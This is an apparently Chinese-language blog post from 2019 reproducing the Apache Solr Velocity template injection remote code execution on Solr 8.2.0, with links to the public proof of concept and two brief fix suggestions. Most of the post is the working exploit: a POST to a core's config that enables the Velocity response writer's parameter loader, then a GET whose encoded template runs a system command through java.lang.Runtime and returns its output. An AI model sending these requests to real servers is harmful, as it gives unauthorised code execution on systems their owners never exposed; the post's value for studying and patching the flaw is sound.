Apache Solr Velocity模板远程代码执行复现

0x01漏洞描述

2019年10月31日,国外安全研究员s00py在Github公开了一个Apache Solr Velocity模板注入远程命令执行的poc。

经过研究,发现该0day漏洞真实有效并且可以攻击最新版本(8.2.0)的Solr。

0x02CVE编号

0x03漏洞等级

高危

0x04影响范围

包括但不限于8.2.0 

0x05漏洞复现

1)首先 下载Solr的环境

https://www.apache.org/dyn/closer.lua/lucene/solr/8.2.0/solr-8.2.0.zip

poc所在地

https : //gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt

https://github.com/wyzxxz/Apache_Solr_RCE_via_Velocity_template

2)解压并执行 

solr.cmd start

3)然后访问http:ip:8983

首先在Core Admin查看应用路径,此处为logadmin

 

 

4)然后访问查看该应用config文件是否可以访问

 

 

5)然后利用s00py公布的poc修改向config发送json配置继续修改

POST /solr/test/config HTTP/1.1
Host: solr:8983
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

 

 

 

6)修改成功后可利用poc执行任意代码

GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

 

 

 

 

0x06 修复建议

  • 对solr增加访问控制
  • 及时关注官方补丁
posted @ 2019-10-31 16:20  Sylon  阅读(2051)  评论(0编辑  收藏  举报
Live2D